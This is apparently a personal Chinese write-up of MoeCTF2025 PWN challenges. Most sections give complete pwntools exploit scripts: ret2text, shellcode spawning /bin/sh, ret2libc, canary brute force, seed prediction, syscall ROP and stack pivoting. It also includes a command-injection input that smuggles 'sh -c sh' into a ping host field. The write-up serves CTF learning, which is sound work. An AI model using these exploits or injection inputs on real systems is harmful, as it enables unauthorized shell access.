MoeCTF2025的PWN个人向题解,笔者根据难易适当进行了排序,欢迎大家参考交流。
EZtext
简单的ret2text,覆盖buf、rbp,栈对齐,后门函数
1 2 3 4 5 6 7 8 9 10 11
| from pwn import * context(os='linux',arch='amd64',log_level='debug')
p = remote("172.30.48.1",58296) treasure = 0x4011B6 ret_addr = 0x40122D payload = b'A'*16 + p64(ret_addr) + p64(treasure) p.recvuntil(b'stack?') p.sendline(str(50)) p.sendline(payload) p.interactive()
|
ezshellcode
简单的shellcode
一个汇编码转机器码的网站Online x86 and x64 Intel Instruction Assembler
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| from pwn import * context(arch='amd64', os='linux', log_level='debug', terminal=['tmux', 'splitw', '-h']) p = process('./pwn') p.sendline(b'4') p.recvuntil(b'permissions you just set.') shellcode = '''mov rbx, 0x68732f6e69622f push rbx push rsp pop rdi xor esi, esi xor edx, edx push 0x3b pop rax syscall ''' shellcode=asm(shellcode)
p.send(shellcode) p.interactive()
|
认识libc
一个libc板子
见ezlibc
str_check
相信你已经在指北中了解到c风格字符串以’\0’结尾的特点。学习各种字符串操作对’\0’的处理,你才能完美地利用程序中的漏洞。
使用\x00截断字符串,字符串前4是moew,ret2text
ljust原数据靠左 ,rjust原数据靠右,都用来填充字节。
1 2 3 4 5 6 7 8 9 10
| from pwn import * context.log_level='debug' p=remote('192.168.50.1',53500)
elf = ELF('./pwn') backdoor=0x40123b payload=b'moew\x00'.ljust(0x20+8,b'a')+p64(backdoor) p.sendlineafter(b'say?',payload) p.sendlineafter('?',b'200') p.interactive()
|
xdulake
怎么有个大一新生走到湖里了?
栈上的数据不会无缘无故地被清理,你能根据这个信息拯救/成为laker吗?
注意到有后门函数。pull()中泄露PIE基址,photo()可以读64个字节,laker()将s1与"xdulaker"比较,相同则通过。
1 2 3 4 5 6 7 8 9 10 11 12 13
| int photo() { char buf[80]; ... read(0, buf, 0x40uLL); ... } ssize_t laker() { char s1[48]; if ( memcmp(s1, "xdulaker", 8uLL) ) ... }
|
photo()申请了0x50的栈空间,rbp-50h,写入了0x40字节的数据。laker()中s1从rbp-30h开始比较,这里简单验证一下
1 2 3 4 5
| Hey,what's your name?! AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAxdulaker I will teach you a lesson. >3 welcome,xdulaker
|
通过验证,接下来是熟悉的ret2text了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| from pwn import* context.log_level ='debug' elf = ELF('./pwn') libc = ELF('./libc.so.6')
p = remote('192.168.50.1',59868)
p.sendlineafter(b'>',b'1') p.recvuntil(b'gift:') leak_opt = int((p.recv(14)),16) pie_base=leak_opt - 0x4010 bkd=pie_base+0x124E log.success(hex(pie_base))
p.sendlineafter(b'>',b'2') payload1 = b'a'*0x20 + b'xdulaker' p.sendafter(b'your name?!\n',payload1)
p.sendlineafter(b'>',b'3') p.recvline() payload2 = b'a'*48 + b'SNOWCATT' + p64(bkd) p.sendline(payload2) p.interactive()
|
boom
你可以轻易爆破我们的系统,但是一个不可泄露的“canary”你又该如何应对?
人工canary,提供了win函数,提示可以使用python的ctypes包
ctypes可以调用C库函数,于是使用ctypes加载libc
init()中有v0 = time(0LL),使time=0,
1 2 3
| char s[124]; int v5; int v6;
|
先填充0x90-0x14,再填充canary,再填充16+8
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| from pwn import * import ctypes import time
p = remote('192.168.50.1', 58472)
libc = ctypes.CDLL('libc.so.6') libc.srand(int(time.time())) canary = libc.rand() % 114514 backdoor = 0x401276 ret = 0x40101a
p.sendlineafter(b'(y/n)', b'y') payload = b'a' * 124 + p32(canary) + b'a'*24+p64(ret)+ p64(backdoor)
p.sendlineafter(b'Enter your message: ', payload) p.interactive()
|
boom_revenge
同上(为什么重复几次才成功?)🤔
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| from pwn import * import ctypes import time p = remote('192.168.50.1', 62171)
libc = ctypes.CDLL('libc.so.6') libc.srand(int(time.time())) canary = libc.rand() % 114514 backdoor = 0x401276 ret = 0x40101a
p.sendlineafter(b'(y/n)', b'y') payload = b'a' * 124 + p32(canary) + b'a'*24+p64(ret)+ p64(backdoor)
p.sendlineafter(b'Enter your message: ', payload) p.interactive()
|
ezlibc
相信做了前面题的你,已经初步开始了解我们如何利用栈溢出来控制程序的执行流程了。在这道题,你将理解动态链接与延迟绑定,这里开启了ASLR和PIE,但是,我给了你一个小礼物来应对两个防护,务必妥善保管! 这个礼物某种情况下还会发生改变,成为另一种神兵利器,至于怎么改变,就要靠你自己去摸索了!
建议你利用gdb,完整的跟踪一下整个动态链接和延迟绑定的过程,这样你能更了解它究竟是怎么完成这个工作的,同时有助于你更加的了解ret2libc这种攻击。
开启了PIE,显然可以通过read泄露PIE基址,这里注意一下延迟绑定,还需要泄露libc,于是返回泄露libc。
当采用动态链接以及延迟绑定之后,程序初加载的时候,并不知道诸如read等libc函数的实际加载地址,此时需要通过该机制进行解析之后,才会填入got表。即延迟绑定下 got 表初始值是 plt_resolve 地址
现在你掌握ret2libc了,以及pwntools查找libc中函数和字符串的方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| from pwn import* context.log_level='debug' elf=ELF('./pwn') libc=ELF('./libc.so.6') p=remote("192.168.50.1",65064)
p.recvuntil("use ") leak_read=int((p.recv(14)),16) pie_base=leak_read-0x1060 start=pie_base+0x10c0
payload=b"A"*40+p64(start) p.send(payload)
p.recvuntil("use ") leak_read2 = int(p.recv(14),16) libc_base=leak_read2-libc.symbols['read'] system=libc_base+libc.symbols['system'] bin_sh=libc_base+next(libc.search(b'/bin/sh')) pop_rdi=libc_base+0x2a3e5 ret=pie_base+0x101a payload=b"a"*40+p64(pop_rdi)+p64(bin_sh)+p64(ret)+p64(system) p.send(payload) p.interactive()
|
inject
一般来说 Pwn challenges 都以内存损坏漏洞为主。然而 binary 程序有很多漏洞不需要内存越界读写,开再多的保护也防不住,程序员即使换用 Rust 等内存安全语言也可能犯相同的错误。这种漏洞利用起来简单,危害可能还更大?!
这是Rust写的吗
使用#注释-c 4
或第一个sh执行第二个sh ping sh -c sh -c 4
1 2 3 4 5 6 7 8
| from pwn import *
p=remote('192.168.50.1', 52971) p.sendlineafter('Your choice: ',str(4))
p.sendafter('Enter host to ping: ',payload) p.interactive()
|
randomlock
诸如rand之类的函数,生成的数列虽然看起来是随机的,但实际上是由一个确定的算法产生的,因此称为“伪随机”。那么只要种子固定,我们不就可以得到固定的数列了吗?
当然,我这道锁的种子可是经过”真随机”与”加密”两道工序,至少看起来没那么容易破解?
猜测seed是1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| from pwn import * import ctypes
libc = ctypes.CDLL("libc.so.6") libc.srand(1)
p = remote('192.168.50.1',62581)
p.recvuntil(b">")
for i in range(10): r = libc.rand() % 10000 p.sendline(str(r).encode()) if i < 9: p.recvuntil(b">")
print(p.recvall())
|
syslock
系统调用是什么?system 函数使用了什么系统调用来启动一个 shell 子进程?如何进行系统调用?
很善良地提供了一些gadget,lose()中也有syscall。
还需要自己读进去/bin/sh,
注意力涣散的笔者注意到了main()的逻辑是i <= 4&&i == 59,
1 2 3 4 5 6 7 8
| i = input(); if ( i > 4 ) lose(); write(1, "Input your password\n", 0x14uLL); read(0, (char *)&s + i, 0xCuLL); if ( i != 59 ) lose(); cheat();
|
59暗示系统调用号,这里不需要直接覆盖返回地址,而是利用数组下标越界修改全局变量。
查看.bss段
i的地址是0x404080
s的地址是0x4040a0
差是0x20,也就是&s+-32指向i,修改使其为59。
在cheat()中覆盖,注意到还没有读入/bin/sh
因为没有注意到main()中能读12字节,笔者在cheat()中读入/bin/sh。😭😭😭注意力涣散
一个查询系统调用号的网站https:/syscall.sh/
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| from pwn import* context.arch = 'amd64' context.log_level = 'debug' elf = ELF('./pwn')
p = remote('192.168.50.1',54928)
pop_rdi_rsi_rdx = 0x401240 pop_rax = 0x401244 syscall = 0x401230 read_plt = 0x4010A0 s_addr = 0x4040A0
p.sendlineafter(b'choose mode\n',b'-32') p.recvuntil(b'Input your password') p.send(p64(59))
payload = b'a'*64 payload += b'SNOWCATT' payload += p64(pop_rdi_rsi_rdx) payload += p64(0) + p64(s_addr) + p64(8) payload += p64(read_plt)
payload += p64(pop_rdi_rsi_rdx) payload += p64(s_addr) + p64(0) + p64(0) payload += p64(pop_rax) + p64(59) payload += p64(syscall) p.recvuntil(b'Developer Mode.\n') p.send(payload) sleep(0.1) p.send(b"/bin/sh\x00") p.interactive()
|
main()中read能读12字节,使用p32发送59,8字节/bin/sh\x00,不需要再调用read,这里不再给出exp。
ezprotection
你们这些 pwner,天天就想着溢出,这次我放了一只 canary 在这里,它会一直盯着你,直到永远!
填满buf覆盖\x00泄露canary,循环攻击爆破canary,空间不够就使用p16
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| from pwn import* context.log_level = 'debug'
bkd = 0x127D
while True: p = remote('192.168.50.1',59263) try: p.sendafter(b'over you.\n',b'A'*25) p.recvuntil(b'A'*25) canary = u64(p.recv(7).rjust(8, b'\x00')) log.success(f"Leaked canary: {hex(canary)}")
payload = b"a"*24 + p64(canary) + b'SNOWCATT' + p16(bkd) p.sendline(payload) except: print("error",end=' ') else: p.interactive() continue
|
ezpivot
不是每一次我们都能遇到足够长的缓冲区溢出。这一次,只能溢出一点点,那你该怎么办呢?栈迁移就是解决这个问题的一个手段,通过栈迁移我们能获得足够的栈空间,但是请注意迁移之后的栈布局。
栈迁移的一个方法是两次leave; retn
把提前布置好的rop链放到后面再执行的操作就叫做栈风水
mian()中读取了一个整数v4,注意到v4>32则退出,introduce()中会向.bss段的desc读v4字节。要把.bss伪造成一个栈,越大越好。
1 2 3 4 5 6 7 8 9
| lea rax, [rbp+var_10] mov rsi, rax lea rax, aD ; "%d" mov rdi, rax call ___isoc99_scanf ... mov eax, [rbp+var_10] cmp eax, 20h ; 0x20 = 32 jle short loc_401306 ; 如果 eax <= 32 则跳转
|
这里发现read()的参数是nbytes如果是一个负数,那它会被认为是一个巨大的正数。
1 2 3 4 5 6 7 8 9 10
| push rbp mov rbp, rsp sub rsp, 10h mov dword ptr [rbp+nbytes], edi mov eax, dword ptr [rbp+nbytes] mov rdx, rax ; nbytes lea rax, desc mov rsi, rax ; buf mov edi, 0 ; fd call _read
|
main()的末尾:
1 2 3 4 5
| mov eax, cs:len_of_phonenum ;这里是0x1C = 28 movsxd rdx, eax ;nbytes lea rax, [rbp+buf] ;buf mov rsi, rax call _read
|
buf12字节,覆盖rbp8字节,剩下8字节正好覆盖返回地址。
笔者先用introduce()在.bss段布置好rop链,再将返回地址覆盖为leave; retn。
当我们在返回地址处放一个 leave; ret,而之前又通过溢出修改了 rbp 时,程序会执行第二次 leave,这时 rsp 就会被强行拉到我们指定的 .bss 地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| from pwn import * context(arch='amd64', os='linux', log_level='debug') context.terminal = ['tmux','splitw','-h']
p = remote('192.168.50.1',50126)
p.sendlineafter(b'of your introduction.',b'-1') pop_rdi = 0x401219 system = 0x401230 desc = 0x404060 ret = 0x40101a leave = 0x40120f payload = b'/bin/sh\x00' + b'\x00'*(0x600-8+0x100) + p64(0x404600) + p64(0x404600) payload += p64(pop_rdi) + p64(0x404060) + p64(ret) + p64(system) p.send(payload) payload1 = b'a' * 12 + p64(0x404660-8+0x100+0x10) + p64(leave) p.sendafter(b'lease tell us your phone number:' , payload1) p.interactive()
|
- 地址
0x404660-8+0x100+0x10:首先rbp被赋值为这个地址,第二个leave时,rsp变为这个地址,紧接着 pop rbp 会让 rsp + 8,这样使rsp指向payload中pop rdi的位置。
- 填充了大量
\x00并将ROP放在远离desc开头,避免后续函数调用产生的栈帧覆盖掉我们写的东西。
这个题是一个栈迁移的入门题,希望新手在入门栈迁移的时候,不要用自己大脑模拟,多调试多跟踪,exp一步一步的写,然后去观察rbp以及rsp的变化,此时才能对于迁移的过程更加了然于胸,这里的坑是,首先,当system调用的时候,需要预留好栈空间,如果栈空间不足,当迁移到bss段之后,一些指令会访问或者甚至修改到只读的代码段,引起段错误,我注意到很多锤的同学,他们抬高栈的手段是硬生生输入诸如0x600个a,其实无需这么麻烦,并且太大量的输入会导致打远程的时候,出现io问题,直接玄学报错,你要注意到,read在读取的时候,是用rbp寻址的,因此当你控制了rbp之后,就可以直接任意地址写了,此时直接写到高地址即可,另一个坑的话,就是,当你迁移之后,执行system之前,一定要注意rbp的有效性,很多同学将rsp迁移过来之后,就对rbp不管不顾了,此时rbp相关的指令在访存的时候,会因为rbp是一个无效的值而引起段错误。
fmt_S
fmt竟离开了栈,我能依赖的,也许只有栈上现有的指针了?
fmt_T
越来越热 • “深入洞穴探险,到达熔火地狱。”
开启了栈保护。
1 2
| fgets(s, 6, stdin); printf(s);
|
明显的格式化字符串漏洞,
hardpivot
一次的栈迁移似乎不够用了,你要怎样才能再次迁移呢?如何布局栈才能拿到这一题的 flag 呢?这一次,你需要把前面的知识融会贯通,才能在这一题成功。加油!
shellbox
沙箱保护、静态链接…I have an idea.
No way to leak!
有些时候,明明随便劫持程序控制流程,但是你却怎么也泄露不出什么东西,只能干着急,这时候,不如试着去了解一下ret2dlresolve这个技术吧,拿到这题的flag,不该成为你的目的,你的目的应该是,在做这个题的过程中,跟着GDB,再重新了解一下动态链接,仔细的跟踪一下它究竟是怎么解析出符号的(并不是像前面的ret2libc一样,只浅浅的了解,不妨跟踪一下从_dl_runtime_resolve函数开始的解析过程),相信你会受益匪浅!
call it
省流:JOP 攻击
to be continued…